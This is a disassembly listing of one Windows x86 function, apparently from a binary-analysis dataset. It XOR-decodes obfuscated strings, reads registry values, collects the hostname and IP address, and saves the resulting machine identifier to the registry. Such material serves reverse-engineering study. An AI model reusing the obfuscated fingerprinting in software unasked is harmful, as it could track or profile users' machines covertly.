Function at 0x1001cb80
Capabilities:
Encode data using xor
Get hostname
Initialize winsock library
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x52c
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x52c], 0
mov edx, 0xd2
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100511c0]
xor al, dl
mov byte [ebp + ecx - 0x33c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x1001cbb0
mov byte [ebp - 0x329], 0
mov edx, 0x8e
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10051190]
xor al, dl
mov byte [ebp + ecx - 0x374], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2e
jb 0x1001cbe0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x524]
push eax
push 1
push 0
lea eax, [ebp - 0x374]
mov byte [ebp - 0x346], 0
push eax
push connect
mov dword [ebp - 0x528], 0x104
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001cc67
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
lea eax, [ebp - 0x33c]
push eax
push dword [ebp - 0x524]
call edi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 0x18
cmp byte [ebp - 0x218], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
jne 0x1001cc8a
xor ecx, ecx
jmp 0x1001cc9c
lea ecx, [ebp - 0x218]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001cc93
sub ecx, esi
push ecx
lea eax, [ebp - 0x218]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001cd1b
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x81dfc891
lea ecx, [ebp - 0x334]
call fcn.1001fdb0
mov esi, eax
xor edx, edx
mov eax, 0x6a
nop dword [eax]
nop dword [eax + eax]
mov cl, byte [edx + str.9_99._4._]
xor cl, al
mov byte [ebp + edx - 0x370], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x2c
jb 0x1001cd40
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x370]
mov dword [ebp - 0x528], 0x104
push eax
push connect
call ebx
test eax, eax
jne 0x1001cdb5
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call edi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x328], 0x25207325
push eax
lea eax, [ebp - 0x320]
mov word [ebp - 0x324], 0x73
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001ce0c
xor ecx, ecx
jmp 0x1001ce1e
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ce15
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001ce9d
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea ecx, [ebp - 0x334]
mov edi, str.PriwyIDP
sub edi, 0x6f747e8f
push edi
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x7f
nop dword [eax]
nop word [eax + eax]
mov cl, byte [edx + 0x10051270]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001cee0
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x528], 0x104
push eax
push connect
call ebx
test eax, eax
jne 0x1001cf59
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001cf62
sub ecx, edx
cmp ecx, 2
setae al
test al, al
je 0x1001d0ff
push edi
lea ecx, [ebp - 0x334]
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x7f
nop
mov cl, byte [edx + 0x10051270]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001cf90
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x328], 0x25207325
push eax
push connect
mov word [ebp - 0x324], 0x73
mov dword [ebp - 0x528], 0x104
call ebx
test eax, eax
jne 0x1001d01c
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d060
xor ecx, ecx
jmp 0x1001d079
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d070
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001d0f8
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
mov byte [0x101a0684], 1
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
cmp byte [0x101a0684], 0
jne 0x1001d1d4
push edi
lea ecx, [ebp - 0x334]
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x87
nop word [eax + eax]
mov cl, byte [edx + 0x10051220]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001d140
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x528], 0x104
push eax
push connect
call ebx
test eax, eax
jne 0x1001d1b9
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d1c2
sub ecx, edx
cmp ecx, 2
jb 0x1001d1d4
mov al, 1
jmp 0x1001d1d6
xor al, al
test al, al
je 0x1001d36f
push edi
lea ecx, [ebp - 0x334]
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x87
nop dword [eax]
nop word [eax + eax]
mov cl, byte [edx + 0x10051220]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001d200
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x328], 0x25207325
push eax
push connect
mov word [ebp - 0x324], 0x73
mov dword [ebp - 0x528], 0x104
call ebx
test eax, eax
jne 0x1001d28c
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d2d0
xor ecx, ecx
jmp 0x1001d2e9
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d2e0
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001d368
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
mov byte [0x101a0684], 1
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
cmp byte [0x101a0684], 0
jne 0x1001d444
push edi
lea ecx, [ebp - 0x334]
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x62
nop word [eax + eax]
mov cl, byte [edx + str._6_1:_6____5_3_]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001d3b0
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x528], 0x104
push eax
push connect
call ebx
test eax, eax
jne 0x1001d429
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d432
sub ecx, edx
cmp ecx, 2
jb 0x1001d444
mov al, 1
jmp 0x1001d446
xor al, al
test al, al
je 0x1001d5f5
push edi
lea ecx, [ebp - 0x334]
call fcn.1001fe20
mov esi, eax
xor edx, edx
mov eax, 0x62
nop dword [eax]
nop word [eax + eax]
mov cl, byte [edx + str._6_1:_6____5_3_]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x4c
jb 0x1001d470
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x390]
mov dword [ebp - 0x328], 0x25207325
push eax
push connect
mov word [ebp - 0x324], 0x73
mov dword [ebp - 0x528], 0x104
call ebx
test eax, eax
jne 0x1001d4fc
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d540
xor ecx, ecx
jmp 0x1001d559
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d550
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001d5d8
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov byte [0x101a0684], 1
push 0x3f6621e1
lea ecx, [ebp - 0x334]
call fcn.1001feb0
mov esi, eax
xor edx, edx
mov eax, 0x4f
nop
mov cl, byte [edx + 0x1005132c]
xor cl, al
mov byte [ebp + edx - 0x358], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x14
jb 0x1001d610
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x358]
mov dword [ebp - 0x328], 0x25207325
push eax
push connect
mov word [ebp - 0x324], 0x73
mov dword [ebp - 0x528], 0x104
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001d69e
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call edi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d6e2
xor ecx, ecx
jmp 0x1001d6f9
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d6f0
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001d778
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea ecx, [ebp - 0x334]
mov eax, 0x10051320
sub eax, 0x7b55180
push eax
call fcn.1001ff40
mov esi, eax
xor edx, edx
mov eax, 0x4f
nop dword [eax]
mov cl, byte [edx + 0x1005132c]
xor cl, al
mov byte [ebp + edx - 0x358], cl
inc edx
lea ecx, [eax + 1]
movzx eax, cl
cmp edx, 0x14
jb 0x1001d7b0
lea eax, [ebp - 0x524]
mov byte [ebp - 0x344], 0
push eax
push 1
push 0
lea eax, [ebp - 0x358]
mov dword [ebp - 0x328], 0x25207325
push eax
push connect
mov word [ebp - 0x324], 0x73
mov dword [ebp - 0x528], 0x104
call ebx
test eax, eax
jne 0x1001d838
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push esi
push dword [ebp - 0x524]
call edi
push dword [ebp - 0x524]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d87c
xor ecx, ecx
jmp 0x1001d88e
lea ecx, [ebp - 0x110]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d885
sub ecx, esi
push ecx
lea eax, [ebp - 0x110]
mov ecx, edx
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001d90d
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov dword [ebp - 0x328], 0x25207325
lea eax, [ebp - 0x520]
mov word [ebp - 0x324], 0x73
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xff
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp - 0x320]
push esi
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
sub esp, 8
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp byte [ebp - 0x110], 0
jne 0x1001d9d0
xor ecx, ecx
jmp 0x1001d9e9
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d9e0
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
mov ecx, esi
push eax
call fcn.1000f1f0
lea ecx, [ebp - 0x35c]
call fcn.1001c2c0
mov ecx, esp
mov word [ebp - 0x524], 0x7325
mov byte [ebp - 0x522], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.10002700
xor eax, eax
add esp, 0x20
mov word [ebp - 0x524], ax
mov byte [ebp - 0x522], al
mov eax, dword [ebp - 0x348]
cmp eax, 0x10
jb 0x1001da68
inc eax
lea ecx, [ebp - 0x35c]
push eax
push dword [ebp - 0x35c]
call fcn.10010c70
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
xor edx, edx
mov al, byte [ebp + edx - 0x320]
cmp al, 0x41
jl 0x1001da98
cmp al, 0x5a
jg 0x1001da98
add al, 0x20
mov byte [ebp + edx - 0x320], al
lea ecx, [ebp - 0x320]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001daa2
sub ecx, esi
cmp edx, ecx
jbe 0x1001da80
mov dword [ebp - 0x328], 0x756c6176
mov edx, 0xa4
mov dword [ebp - 0x324], 0x393965
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10051344]
xor al, dl
mov byte [ebp + ecx - 0x35c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x1001dad0
lea eax, [ebp - 0x328]
mov byte [ebp - 0x347], 0
push eax
lea edx, [ebp - 0x35c]
call fcn.1001ca30
add esp, 4
test eax, eax
sete al
test al, al
je 0x1001dc01
mov edx, 0xa4
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10051344]
xor al, dl
mov byte [ebp + ecx - 0x35c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x1001db20
lea eax, [ebp - 0x524]
mov byte [ebp - 0x347], 0
push eax
lea eax, [ebp - 0x35c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, 0xa4
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x10051344]
xor al, dl
mov byte [ebp + ecx - 0x35c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x1001db70
lea eax, [ebp - 0x524]
mov byte [ebp - 0x347], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x35c]
push eax
push connect
call ebx
test eax, eax
lea eax, [ebp - 0x320]
jne 0x1001dcee
push 0x20
push eax
push 1
push 0
lea eax, [ebp - 0x328]
mov dword [ebp - 0x328], 0x756c6176
push eax
push dword [ebp - 0x524]
mov dword [ebp - 0x324], 0x393965
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x320]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x320]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov dword [ebp - 0x330], 0x756c6176
mov dword [ebp - 0x32c], 0x393965
mov edx, 0xa4
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x10051344]
xor al, dl
mov byte [ebp + ecx - 0x35c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x15
jb 0x1001dc40
lea eax, [ebp - 0x528]
mov byte [ebp - 0x347], 0
push eax
push 1
push 0
lea eax, [ebp - 0x35c]
mov word [ebp - 0x524], 0x7325
push eax
push connect
mov byte [ebp - 0x522], 0
mov dword [ebp - 0x52c], 0x104
call ebx
test eax, eax
jne 0x1001dccb
lea eax, [ebp - 0x52c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x324]
push eax
push 0
lea eax, [ebp - 0x330]
push eax
push dword [ebp - 0x528]
call edi
push dword [ebp - 0x528]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x320]
push eax
call fcn.10002700
add esp, 0xc
lea eax, [ebp - 0x320]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027e1f
mov esp, ebp
pop ebp
ret